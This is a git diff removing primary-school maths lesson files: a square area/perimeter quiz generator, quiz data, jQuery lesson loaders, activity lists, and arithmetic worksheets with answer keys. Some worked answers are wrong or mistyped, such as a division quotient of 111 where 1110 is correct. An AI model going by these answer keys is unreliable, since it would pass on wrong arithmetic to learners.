-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_operand(min,max) {
-  return Math.random()*(max-min) + min;
-};
-
-function shift(i1,i2,amount){
-  if(i2>i1){
-      f = factor[i2-i1];
-      return amount/f;
-  }else{
-      f = factor[i1-i2];
-      return amount*f;
-  }
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        type = Math.random();
-        if(type < 0.3){
-            //determine area from side
-            side = parseInt(generate_operand(1,100));
-            area = side*side;
-            quiztxt = quiztxt+'{ ques: "The side of a square is '
-            quiztxt = quiztxt+side+" in length. What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        }else if (type<0.6){
-            //determine perimeter from side
-            side = parseInt(generate_operand(1,100));
-            perimeter = 4*side;
-            quiztxt = quiztxt+'{ ques: "The side of a square is '
-            quiztxt = quiztxt+side+"	in length. What	is it's	perimeter?"+'"';
-            quiztxt = quiztxt+", ans:'"+perimeter+"'},\n"
-        }else if (type<0.8){
-            //determine side from perimeter
-            side = parseInt(generate_operand(1,100));
-            perimeter = 4*side;
-            area = side*side;
-            quiztxt = quiztxt+'{ ques: "The perimeter of a square is '
-            quiztxt = quiztxt+perimeter+" in length. What is it's area?"+'"';
-            quiztxt = quiztxt+", ans:'"+area+"'},\n"
-        }else{
-            //determine perimeter from area
-            side = parseInt(generate_operand(1,100));
-            perimeter = 4*side;
-            area = side*side;
-            quiztxt = quiztxt+'{ ques: "The area of a square is '
-            quiztxt = quiztxt+area+" in size. What is it's perimeter?"+'"';
-            quiztxt = quiztxt+", ans:'"+perimeter+"'},\n"
-        };
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location+"";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m10/map412m10a15/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m10/map412m10a15/js/quiz.js b/Save_Mathematics/P4/map412m10/map412m10a15/js/quiz.js
deleted file mode 100755
index 5fc1a0d..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a15/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ ques: "The side of a square is 55	in length. What	is it's	perimeter?", ans:'220'},
-{ ques: "The side of a square is 93	in length. What	is it's	perimeter?", ans:'372'},
-{ ques: "The side of a square is 87 in length. What is it's area?", ans:'7569'},
-{ ques: "The side of a square is 84 in length. What is it's area?", ans:'7056'},
-{ ques: "The perimeter of a square is 216 in length. What is it's area?", ans:'2916'},
-{ ques: "The side of a square is 97 in length. What is it's area?", ans:'9409'},
-{ ques: "The side of a square is 35 in length. What is it's area?", ans:'1225'},
-{ ques: "The perimeter of a square is 220 in length. What is it's area?", ans:'3025'},
-{ ques: "The perimeter of a square is 316 in length. What is it's area?", ans:'6241'},
-{ ques: "The side of a square is 27	in length. What	is it's	perimeter?", ans:'108'},
-{ ques: "The area of a square is 4225 in size. What is it's perimeter?", ans:'260'},
-{ ques: "The area of a square is 3600 in size. What is it's perimeter?", ans:'240'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m10/map412m10a15/source.txt b/Save_Mathematics/P4/map412m10/map412m10a15/source.txt
deleted file mode 100755
index 02087fb..0000000
--- a/Save_Mathematics/P4/map412m10/map412m10a15/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<h1>Opportunity: Geometric Figures, the Trapezium or Trapezoid</h1>
-<!--NG-->
-<p>In this activity you will have an opportunity to show what you have learned 
-about the trapezium or trapezoid</p>
-<p>Press Start to begin.</p>
-
diff --git a/Save_Mathematics/P4/milestones.js b/Save_Mathematics/P4/milestones.js
deleted file mode 100644
index faca84d..0000000
--- a/Save_Mathematics/P4/milestones.js
+++ /dev/null
@@ -1,28 +0,0 @@
-var activities = [
-  ['0',1,'map4','milestone','map411m02','cyan'],
-  ['0',2,'map4','milestone','map411m03','cyan'],
-  ['0',3,'map4','milestone','map411m04','cyan'],
-  ['0',4,'map4','milestone','map411m05','cyan'],
-  ['0',5,'map4','milestone','map411m06','cyan'],
-  ['0',6,'map4','milestone','map411m07','cyan'],
-  ['0',7,'map4','milestone','map411m08','cyan'],
-  ['0',8,'map4','milestone','map411m09','cyan'],
-  ['0',9,'map4','milestone','map411m10','cyan'],
-  ['0',10,'map4','milestone','map411m11','cyan'],
-  ['0',11,'map4','milestone','map411m12','cyan'],
-  ['0',12,'map4','milestone','map411m13','cyan'],
-  ['0',13,'map4','milestone','map411m14','cyan'],
-  ['0',14,'map4','milestone','map412m01','cyan'],
-  ['0',15,'map4','milestone','map412m02','cyan'],
-  ['0',16,'map4','milestone','map412m03','cyan'],
-  ['0',17,'map4','milestone','map412m04','cyan'],
-  ['0',18,'map4','milestone','map412m05','cyan'],
-  ['0',19,'map4','milestone','map412m06','cyan'],
-  ['0',20,'map4','milestone','map412m07','cyan'],
-  ['0',21,'map4','milestone','map412m08','cyan'],
-  ['0',22,'map4','milestone','map412m09','cyan'],
-  ['0',23,'map4','milestone','map412m10','cyan'],
-
-];
-var assetList= [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m01/activities.js b/Save_Mathematics/P5/map511m01/activities.js
deleted file mode 100755
index 33efdc5..0000000
--- a/Save_Mathematics/P5/map511m01/activities.js
+++ /dev/null
@@ -1,9 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m1a01','blue'],
-['2','2','map5','basic','map511m1a02','blue'],
-['3','3','map5','basic','map511m1a03','blue'],
-['4','4','map5','basic','map511m1a04','blue'],
-['5','5','map5','basic','map511m1a05','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m01/map511m1a01/a.txt b/Save_Mathematics/P5/map511m01/map511m1a01/a.txt
deleted file mode 100644
index d93fa71..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a01/a.txt
+++ /dev/null
@@ -1,95 +0,0 @@
-<p>
- Introduction  1.Perform the following operations: 1.Perform the following operations:
- <br />
- a)24,345+17,216=
- <br />
- b)10,979-7,678=
- <br />
- c)174&times;39=
- <br />
- d)29,974&divide;27= quotient and remainder
- <br />
- <br />
- 2.Give 2 numbers that can be formed by the following digits:
- <br />
- a)6,7,8 b)1,2,3,4
- <br />
- <br />
- 3.Write the following numbers in figures:
- <br />
- a)Twenty thousand six hundred seventy four.
- <br />
- b)Twelve thousand eighty six.
- <br />
- <br />
- 4.Adam went to the market and bought 4 goats at 12000Rfw for each and 2 sheeps at 4700Rfw each.How much did he spend altogether?
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <span style="font-weight: bold;">
-  <br />
-  <br />
-  1.
- </span>
- a)24,345
- <br />
- +
- <span style="text-decoration: underline;">
-  17,216
-  <span style="font-weight: bold;">
-  </span>
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  <span style="font-weight: bold;">
-   <span style="font-weight: bold;">
-   </span>
-  </span>
- </span>
- <br />
- 41,561
- <br />
- <br />
- b)10,989
- <br />
- -
- <span style="text-decoration: underline;">
-  7678
- </span>
- <br />
- 3311
- <br />
- <br />
- c)174
- <br />
- &times;
- <span style="text-decoration: underline;">
-  39
-  <br />
- </span>
- 6786
- <br />
- <br />
- d)29,974=111 quotient and 4 remainder
- <br />
- <br />
- 2.a)&iexcl;.678
- <br />
- a)&iexcl;&iexcl;.876
- <br />
- b)&iexcl;.1,234
- <br />
- b)&iexcl;&iexcl;.4,321
- <br />
- <br />
- 3.a) 20,674
- <br />
- b)12,076
- <br />
- 4. The price of 4 goats=12,000Rfw &times;4=48,000Rfws
- <br />
- The price of 2 sheeps=4,700Rfw &times;2=9,400Rfws
- <br />
- Total amount=48,000Rfws +9,400Rfws=57,400Rfws
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a01/description.py b/Save_Mathematics/P5/map511m01/map511m1a01/description.py
deleted file mode 100644
index 73d7aae..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m1a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m01/map511m1a01/lesson.js b/Save_Mathematics/P5/map511m01/map511m1a01/lesson.js
deleted file mode 100644
index 96205e8..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m01/map511m1a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m01/map511m1a01/source.txt b/Save_Mathematics/P5/map511m01/map511m1a01/source.txt
deleted file mode 100644
index d93fa71..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a01/source.txt
+++ /dev/null
@@ -1,95 +0,0 @@
-<p>
- Introduction  1.Perform the following operations: 1.Perform the following operations:
- <br />
- a)24,345+17,216=
- <br />
- b)10,979-7,678=
- <br />
- c)174&times;39=
- <br />
- d)29,974&divide;27= quotient and remainder
- <br />
- <br />
- 2.Give 2 numbers that can be formed by the following digits:
- <br />
- a)6,7,8 b)1,2,3,4
- <br />
- <br />
- 3.Write the following numbers in figures:
- <br />
- a)Twenty thousand six hundred seventy four.
- <br />
- b)Twelve thousand eighty six.
- <br />
- <br />
- 4.Adam went to the market and bought 4 goats at 12000Rfw for each and 2 sheeps at 4700Rfw each.How much did he spend altogether?
- <br />
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  ANSWERS
- </span>
- <span style="font-weight: bold;">
-  <br />
-  <br />
-  1.
- </span>
- a)24,345
- <br />
- +
- <span style="text-decoration: underline;">
-  17,216
-  <span style="font-weight: bold;">
-  </span>
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  <span style="font-weight: bold;">
-   <span style="font-weight: bold;">
-   </span>
-  </span>
- </span>
- <br />
- 41,561
- <br />
- <br />
- b)10,989
- <br />
- -
- <span style="text-decoration: underline;">
-  7678
- </span>
- <br />
- 3311
- <br />
- <br />
- c)174
- <br />
- &times;
- <span style="text-decoration: underline;">
-  39
-  <br />
- </span>
- 6786
- <br />
- <br />
- d)29,974=111 quotient and 4 remainder
- <br />
- <br />
- 2.a)&iexcl;.678
- <br />
- a)&iexcl;&iexcl;.876
- <br />
- b)&iexcl;.1,234
- <br />
- b)&iexcl;&iexcl;.4,321
- <br />
- <br />
- 3.a) 20,674
- <br />
- b)12,076
- <br />
- 4. The price of 4 goats=12,000Rfw &times;4=48,000Rfws
- <br />
- The price of 2 sheeps=4,700Rfw &times;2=9,400Rfws
- <br />
- Total amount=48,000Rfws +9,400Rfws=57,400Rfws
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a02/a.txt b/Save_Mathematics/P5/map511m01/map511m1a02/a.txt
deleted file mode 100644
index e0e245a..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a02/a.txt
+++ /dev/null
@@ -1,127 +0,0 @@
-<p>
- 1.Perform the following operations:
- <br />
- <br />
- a)69,214 +14,792=
- <br />
- <br />
- b)29,289$-17,163$=
- <br />
- <br />
- c)84&times;176=
- <br />
- <br />
- d)Indicate the quotient and remainder
- <br />
- <br />
- 679&divide;28
- <br />
- <br />
- 2.a)Give 2 numbers that can be formed by the combination of the following digits;
- <br />
- <br />
- &iexcl;)1,4,9,2
- <br />
- <br />
- &iexcl;&iexcl;)2,7,6,8
- <br />
- <br />
- b)Compare the following numbers by using &gt;,&lt; or= in the boxes
- <br />
- <br />
- &iexcl;)9,764....... 97,640
- <br />
- <br />
- &iexcl;&iexcl;)10,201..... 1,201
- <br />
- <br />
- <br />
- 3.What digit can replace a dot to make number divisible by 5
- <br />
- a)34
- <br />
- <br />
- b)11.
- <br />
- <br />
- 4.Write the following numbers in words
- <br />
- <br />
- a)6,729
- <br />
- <br />
- b)12,450
- <br />
- <br />
- <br />
- 5.A lorry can carry 200 crates of soda.Each crate contains 24 bottles,how many bottles does it carry?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1.a)69,214
- <br />
- +
- <span style="text-decoration: underline;">
-  14,792
- </span>
- <br />
- 84,006
- <br />
- <br />
- b)29,289$
- <br />
- -
- <span style="text-decoration: underline;">
-  17,163
- </span>
- $
- <br />
- 12,129$
- <br />
- <br />
- c)176
- <br />
- &times;
- <span style="text-decoration: underline;">
-  84
- </span>
- <br />
- 14,784
- <br />
- <br />
- <br />
- d)679&divide;28=24 quotient and 7 remainder
- <br />
- <br />
- <br />
- 2.a)1492
- <br />
- <br />
- b)27687
- <br />
- <br />
- b)&iexcl;)9,764&lt; 97,640
- <br />
- <br />
- &iexcl;&iexcl;)10201&gt; 1201
- <br />
- <br />
- 3.a)340
- <br />
- <br />
- b)115
- <br />
- <br />
- <br />
- 4.a)6729=Six thousand seven hundred twenty nine.
- <br />
- <br />
- b)12450=Twelve thousand four hundred fifty.
- <br />
- <br />
- 5.Total number of bottles carries by a lorry 200&times;24=4800bottles
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a02/description.py b/Save_Mathematics/P5/map511m01/map511m1a02/description.py
deleted file mode 100644
index d3d80b5..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m1a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m01/map511m1a02/lesson.js b/Save_Mathematics/P5/map511m01/map511m1a02/lesson.js
deleted file mode 100644
index f8e14cb..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m01/map511m1a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m01/map511m1a02/source.txt b/Save_Mathematics/P5/map511m01/map511m1a02/source.txt
deleted file mode 100644
index e0e245a..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a02/source.txt
+++ /dev/null
@@ -1,127 +0,0 @@
-<p>
- 1.Perform the following operations:
- <br />
- <br />
- a)69,214 +14,792=
- <br />
- <br />
- b)29,289$-17,163$=
- <br />
- <br />
- c)84&times;176=
- <br />
- <br />
- d)Indicate the quotient and remainder
- <br />
- <br />
- 679&divide;28
- <br />
- <br />
- 2.a)Give 2 numbers that can be formed by the combination of the following digits;
- <br />
- <br />
- &iexcl;)1,4,9,2
- <br />
- <br />
- &iexcl;&iexcl;)2,7,6,8
- <br />
- <br />
- b)Compare the following numbers by using &gt;,&lt; or= in the boxes
- <br />
- <br />
- &iexcl;)9,764....... 97,640
- <br />
- <br />
- &iexcl;&iexcl;)10,201..... 1,201
- <br />
- <br />
- <br />
- 3.What digit can replace a dot to make number divisible by 5
- <br />
- a)34
- <br />
- <br />
- b)11.
- <br />
- <br />
- 4.Write the following numbers in words
- <br />
- <br />
- a)6,729
- <br />
- <br />
- b)12,450
- <br />
- <br />
- <br />
- 5.A lorry can carry 200 crates of soda.Each crate contains 24 bottles,how many bottles does it carry?
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1.a)69,214
- <br />
- +
- <span style="text-decoration: underline;">
-  14,792
- </span>
- <br />
- 84,006
- <br />
- <br />
- b)29,289$
- <br />
- -
- <span style="text-decoration: underline;">
-  17,163
- </span>
- $
- <br />
- 12,129$
- <br />
- <br />
- c)176
- <br />
- &times;
- <span style="text-decoration: underline;">
-  84
- </span>
- <br />
- 14,784
- <br />
- <br />
- <br />
- d)679&divide;28=24 quotient and 7 remainder
- <br />
- <br />
- <br />
- 2.a)1492
- <br />
- <br />
- b)27687
- <br />
- <br />
- b)&iexcl;)9,764&lt; 97,640
- <br />
- <br />
- &iexcl;&iexcl;)10201&gt; 1201
- <br />
- <br />
- 3.a)340
- <br />
- <br />
- b)115
- <br />
- <br />
- <br />
- 4.a)6729=Six thousand seven hundred twenty nine.
- <br />
- <br />
- b)12450=Twelve thousand four hundred fifty.
- <br />
- <br />
- 5.Total number of bottles carries by a lorry 200&times;24=4800bottles
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a03/a.txt b/Save_Mathematics/P5/map511m01/map511m1a03/a.txt
deleted file mode 100644
index 1286d69..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a03/a.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-<p>
- 1.Perform the following operations:
- <br />
- <br />
- a)14,617+7,283=
- <br />
- <br />
- b)94,218-80,217=
- <br />
- <br />
- c)741&times;18=
- <br />
- <br />
- d)1644&divide;4=
- <br />
- <br />
- <br />
- 2.a)Give 2 numbers that can be formed by combining the following digits; &iexcl;)2,4,6,7,8
- <br />
- <br />
- &iexcl;&iexcl;)9,7,8,6
- <br />
- <br />
- b)Compare the following numbers by using &gt;,&lt; or= in the box.
- <br />
- <br />
- &iexcl;)17296...... 17291
- <br />
- <br />
- &iexcl;&iexcl;)6978....... 69784
- <br />
- <br />
- <br />
- 3.What digit can replace a dot to make number divisible by 2
- <br />
- a)17
- <br />
- <br />
- b)16.
- <br />
- <br />
- 4.Write the following numbers in figures
- <br />
- <br />
- a)Two thousand twenty four.
- <br />
- <br />
- b)Fifteen thousand seven hundred fifteen.
- <br />
- <br />
- <br />
- 5.Razia went to the market and bought 20kg of rice at 500Rfws for 1kg,and 14kg of meat at 1200Rfws of 1kg.How much money did Razia spend altogether?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a03/description.py b/Save_Mathematics/P5/map511m01/map511m1a03/description.py
deleted file mode 100644
index 98aa59b..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m1a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m01/map511m1a03/lesson.js b/Save_Mathematics/P5/map511m01/map511m1a03/lesson.js
deleted file mode 100644
index b3dafb8..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m01/map511m1a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m01/map511m1a03/source.txt b/Save_Mathematics/P5/map511m01/map511m1a03/source.txt
deleted file mode 100644
index 1286d69..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a03/source.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-<p>
- 1.Perform the following operations:
- <br />
- <br />
- a)14,617+7,283=
- <br />
- <br />
- b)94,218-80,217=
- <br />
- <br />
- c)741&times;18=
- <br />
- <br />
- d)1644&divide;4=
- <br />
- <br />
- <br />
- 2.a)Give 2 numbers that can be formed by combining the following digits; &iexcl;)2,4,6,7,8
- <br />
- <br />
- &iexcl;&iexcl;)9,7,8,6
- <br />
- <br />
- b)Compare the following numbers by using &gt;,&lt; or= in the box.
- <br />
- <br />
- &iexcl;)17296...... 17291
- <br />
- <br />
- &iexcl;&iexcl;)6978....... 69784
- <br />
- <br />
- <br />
- 3.What digit can replace a dot to make number divisible by 2
- <br />
- a)17
- <br />
- <br />
- b)16.
- <br />
- <br />
- 4.Write the following numbers in figures
- <br />
- <br />
- a)Two thousand twenty four.
- <br />
- <br />
- b)Fifteen thousand seven hundred fifteen.
- <br />
- <br />
- <br />
- 5.Razia went to the market and bought 20kg of rice at 500Rfws for 1kg,and 14kg of meat at 1200Rfws of 1kg.How much money did Razia spend altogether?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a04/a.txt b/Save_Mathematics/P5/map511m01/map511m1a04/a.txt
deleted file mode 100644
index 03112dd..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a04/a.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1.Perform the following operations:
- <br />
- <br />
- a)64,789+19,989=
- <br />
- <br />
- b)74,617-50,999=
- <br />
- <br />
- c)667&times;24=
- <br />
- <br />
- d)10250&divide;25=
- <br />
- <br />
- <br />
- 2.1)Give one number that can be formed by the following digits;
- <br />
- &iexcl;.6,9,7,4
- <br />
- <br />
- &iexcl;&iexcl;.2,4,8,7
- <br />
- <br />
- 2)Write the place values of the following numbers:
- <br />
- <br />
- a)17670
- <br />
- <br />
- b)784
- <br />
- <br />
- c)19
- <br />
- <br />
- 3.Compare the following numbers by using &gt;,&lt; or=
- <br />
- <br />
- a)24,679 ....21,999
- <br />
- <br />
- b)14,697..... 1497
- <br />
- <br />
- <br />
- 4.Write the following numbers in words;
- <br />
- a)17,874
- <br />
- b)2,647
- <br />
- <br />
- <br />
- 5.Zubeda has 14,000Rfws,she wants to carry their 5 kids.Every kid must get the same share as others. What is the share of each kid.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a04/description.py b/Save_Mathematics/P5/map511m01/map511m1a04/description.py
deleted file mode 100644
index d74f65d..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m1a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m01/map511m1a04/lesson.js b/Save_Mathematics/P5/map511m01/map511m1a04/lesson.js
deleted file mode 100644
index 844bc0c..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m01/map511m1a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m01/map511m1a04/source.txt b/Save_Mathematics/P5/map511m01/map511m1a04/source.txt
deleted file mode 100644
index 03112dd..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a04/source.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1.Perform the following operations:
- <br />
- <br />
- a)64,789+19,989=
- <br />
- <br />
- b)74,617-50,999=
- <br />
- <br />
- c)667&times;24=
- <br />
- <br />
- d)10250&divide;25=
- <br />
- <br />
- <br />
- 2.1)Give one number that can be formed by the following digits;
- <br />
- &iexcl;.6,9,7,4
- <br />
- <br />
- &iexcl;&iexcl;.2,4,8,7
- <br />
- <br />
- 2)Write the place values of the following numbers:
- <br />
- <br />
- a)17670
- <br />
- <br />
- b)784
- <br />
- <br />
- c)19
- <br />
- <br />
- 3.Compare the following numbers by using &gt;,&lt; or=
- <br />
- <br />
- a)24,679 ....21,999
- <br />
- <br />
- b)14,697..... 1497
- <br />
- <br />
- <br />
- 4.Write the following numbers in words;
- <br />
- a)17,874
- <br />
- b)2,647
- <br />
- <br />
- <br />
- 5.Zubeda has 14,000Rfws,she wants to carry their 5 kids.Every kid must get the same share as others. What is the share of each kid.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a05/a.txt b/Save_Mathematics/P5/map511m01/map511m1a05/a.txt
deleted file mode 100644
index 6192466..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a05/a.txt
+++ /dev/null
@@ -1,38 +0,0 @@
-<p>
- 1.Calculate the following operations:
- <br />
- <br />
- a)1,740+19,294=
- <br />
- <br />
- b)47,9214-62,196=
- <br />
- <br />
- c)765&times;29=
- <br />
- <br />
- d)17,629&divide;16=
- <br />
- <br />
- <br />
- 2.Write the following numbers in words
- <br />
- <br />
- a)17,679
- <br />
- <br />
- b)1424
- <br />
- <br />
- c)714
- <br />
- <br />
- <br />
- 3.Write the following numbers in figures:
- <br />
- <br />
- a)Thirty thousand four hundred forty four.
- <br />
- <br />
- b)Ten thousand one hundred one.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m01/map511m1a05/description.py b/Save_Mathematics/P5/map511m01/map511m1a05/description.py
deleted file mode 100644
index a0f77e2..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m1a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m01/map511m1a05/lesson.js b/Save_Mathematics/P5/map511m01/map511m1a05/lesson.js
deleted file mode 100644
index 0175848..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m01/map511m1a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m01/map511m1a05/source.txt b/Save_Mathematics/P5/map511m01/map511m1a05/source.txt
deleted file mode 100644
index 6192466..0000000
--- a/Save_Mathematics/P5/map511m01/map511m1a05/source.txt
+++ /dev/null
@@ -1,38 +0,0 @@
-<p>
- 1.Calculate the following operations:
- <br />
- <br />
- a)1,740+19,294=
- <br />
- <br />
- b)47,9214-62,196=
- <br />
- <br />
- c)765&times;29=
- <br />
- <br />
- d)17,629&divide;16=
- <br />
- <br />
- <br />
- 2.Write the following numbers in words
- <br />
- <br />
- a)17,679
- <br />
- <br />
- b)1424
- <br />
- <br />
- c)714
- <br />
- <br />
- <br />
- 3.Write the following numbers in figures:
- <br />
- <br />
- a)Thirty thousand four hundred forty four.
- <br />
- <br />
- b)Ten thousand one hundred one.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m02/activities.js b/Save_Mathematics/P5/map511m02/activities.js
deleted file mode 100755
index 6d7d6a1..0000000
--- a/Save_Mathematics/P5/map511m02/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m2a01','blue'],
-['2','2','map5','basic','map511m2a02','blue'],
-['3','3','map5','basic','map511m2a03','blue'],
-['4','4','map5','basic','map511m2a04','blue'],
-['5','5','map5','basic','map511m2a05','blue'],
-['6','6','map5','basic','map511m2a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m02/map511m2a01/a.txt b/Save_Mathematics/P5/map511m02/map511m2a01/a.txt
deleted file mode 100644
index ed6229a..0000000
--- a/Save_Mathematics/P5/map511m02/map511m2a01/a.txt
+++ /dev/null
@@ -1,98 +0,0 @@
-<p class="MsoNormal" style="line-height: normal;">
- <span style="font-size: 12pt;">
-  In human life we need to use numbers in order to indicate the quantity of things, goods, and persons. Numbers can be expressed either in words or figure.
- </span>
-</p>
-<p class="MsoNormal" style="line-height: normal; text-decoration: underline; font-weight: bold;">
- <span style="font-size: 12pt;">
-  Examples
- </span>
- <span style="font-size: 12pt;">
-  :
- </span>
-</p>
-<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;">
- <span style="font-size: 12pt;">
-  1. Charles has got
-  <span style="font-weight: bold; text-decoration: underline;">
-   40,000
-  </span>
-  $ as his salary (forty thousand);
-  <br />
-  2.The cost of one pen is
-  <strong>
-   <span style="text-decoration: underline;">
-    100
-    <em>
-     frw
-    </em>
-   </span>
-  </strong>
-  ;
-  <br />
-  3.Our family is composed by
-  <strong>
-   <span style="text-decoration: underline;">
-    20
-   </span>
-  </strong>
-  persons(twenty);
-  <br />
-  3.At Remera catholic 2 there are
-  <strong>
-   <span style="text-decoration: underline;">
-    655
-   </span>
-  </strong>
-  pupils(six hundred fifty five);
-  <br />
-  4.With this series of digits ,2;3;4; and 0, write 4 number that can be formed Answer: 2340;3420;4023;2034egg 3.write 3 numbers with the following digits 9;3;7Answer:937;397;793
- </span>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: normal;">
- <span style="font-size: 12pt;">
-  <span>
-   a)
-   <span>
-    &nbsp;
-   </span>
-  </span>
- </span>
- <span style="font-size: 12pt;">
